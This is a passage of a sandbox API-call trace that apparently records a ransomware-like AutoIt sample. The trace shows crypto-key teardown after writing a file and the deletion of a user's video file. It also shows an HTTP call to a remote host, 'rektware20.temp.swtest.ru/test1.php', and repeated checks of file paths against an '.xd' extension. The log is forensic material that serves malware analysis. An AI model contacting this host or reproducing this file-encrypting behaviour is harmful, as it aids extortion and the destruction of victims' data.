hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.144] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.144] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.144] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.144] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0066.144] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.144] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0066.144] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0066.144] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0066.144] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.144] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0066.144] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0066.144] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.144] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.145] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.150] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.150] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.150] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.150] WriteFile (in: hFile=0x2ac, lpBuffer=0x1891b28*, nNumberOfBytesToWrite=0x14b10, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x1891b28*, lpNumberOfBytesWritten=0x130f01c*=0x14b10, lpOverlapped=0x0) returned 1 [0066.152] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.152] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.153] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0066.153] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0066.153] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.153] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0066.153] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.153] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0066.153] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621438, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0066.154] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0066.154] CryptDestroyKey (hKey=0x164c630) returned 1 [0066.154] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0066.154] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0066.154] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0066.154] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0066.154] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0066.154] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0066.154] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0066.154] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0066.154] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0066.154] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0066.154] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0066.154] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0066.154] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0066.154] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0066.154] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.154] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0066.154] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.155] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0066.155] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.155] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.155] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.155] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0066.155] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0066.155] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.155] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.155] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0066.155] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0066.155] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0066.155] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.155] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0066.155] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164dfb0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0066.156] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0066.156] CryptReleaseContext (hProv=0x17aa670, dwFlags=0x0) returned 1 [0066.156] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.156] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.156] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0066.156] FreeLibrary (hLibModule=0x74c60000) returned 1 [0066.156] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.156] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.157] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.157] CloseHandle (hObject=0x3bc) returned 1 [0066.159] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.159] CloseHandle (hObject=0x2ac) returned 1 [0066.168] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.169] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0066.169] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_3frV6x_.swf", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_3frV6x_.swf", lpFilePart=0x0) returned 0x29 [0066.169] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_3frV6x_.swf" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\_3frv6x_.swf")) returned 0x20 [0066.169] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_3frV6x_.swf", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c6b0 [0066.169] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_3frV6x_.swf" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\_3frv6x_.swf")) returned 1 [0066.171] FindNextFileW (in: hFindFile=0x164c6b0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0066.171] FindClose (in: hFindFile=0x164c6b0 | out: hFindFile=0x164c6b0) returned 1 [0066.171] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0066.171] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0066.172] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0066.172] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0066.172] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\12 e75as.mkv", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164cb30 [0066.172] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0066.172] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0066.172] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0066.172] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0066.172] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0066.172] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0066.172] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e68, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620e68, lpdwBufferLength=0x130ef8c) returned 1 [0066.172] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0066.172] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0066.172] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0066.175] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0066.175] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0066.176] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0066.176] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629270, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629270*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0066.176] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629280, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629280*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0066.176] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0066.176] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0066.176] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0066.176] CloseHandle (hObject=0x0) returned 0 [0066.176] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\12 e75as.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.176] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\12 e75as.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.176] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\12 e75as.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.176] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\12 e75as.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.176] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\12 e75as.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.177] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\12 e75as.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.177] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\12 e75as.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.177] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\12 e75as.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.177] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\12 e75as.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.177] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\12 e75as.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.177] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\12 e75as.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.177] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\12 e75as.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.177] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\12 e75as.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.177] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\12 e75as.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.177] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\12 e75as.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.177] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\12 e75as.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.177] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\12 e75as.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.177] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\12 e75as.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.177] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\12 e75as.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.177] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Videos\\So-1KCafWr2NHN2gajyB\\12 e75as.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.177] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Videos\\So-1KCafWr2NHN2gajyB\\12 e75as.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.177] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Videos\\So-1KCafWr2NHN2gajyB\\12 e75as.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.177] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Videos\\So-1KCafWr2NHN2gajyB\\12 e75as.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.177] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ideos\\So-1KCafWr2NHN2gajyB\\12 e75as.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.177] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="deos\\So-1KCafWr2NHN2gajyB\\12 e75as.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.177] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="eos\\So-1KCafWr2NHN2gajyB\\12 e75as.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.177] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="os\\So-1KCafWr2NHN2gajyB\\12 e75as.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.177] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\So-1KCafWr2NHN2gajyB\\12 e75as.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.177] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\So-1KCafWr2NHN2gajyB\\12 e75as.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.177] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="So-1KCafWr2NHN2gajyB\\12 e75as.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.177] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="o-1KCafWr2NHN2gajyB\\12 e75as.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.177] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="-1KCafWr2NHN2gajyB\\12 e75as.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.177] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1KCafWr2NHN2gajyB\\12 e75as.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.177] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="KCafWr2NHN2gajyB\\12 e75as.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.177] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CafWr2NHN2gajyB\\12 e75as.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.178] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="afWr2NHN2gajyB\\12 e75as.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.178] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="fWr2NHN2gajyB\\12 e75as.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.178] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Wr2NHN2gajyB\\12 e75as.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.178] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="r2NHN2gajyB\\12 e75as.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.178] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2NHN2gajyB\\12 e75as.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.178] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NHN2gajyB\\12 e75as.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.178] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HN2gajyB\\12 e75as.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.178] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="N2gajyB\\12 e75as.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.178] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2gajyB\\12 e75as.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.178] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="gajyB\\12 e75as.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.178] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ajyB\\12 e75as.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.178] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jyB\\12 e75as.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.178] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="yB\\12 e75as.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.178] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="B\\12 e75as.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.178] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\12 e75as.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.178] CompareStringW (Locale=0x400, dwCmpFlags=0x1, 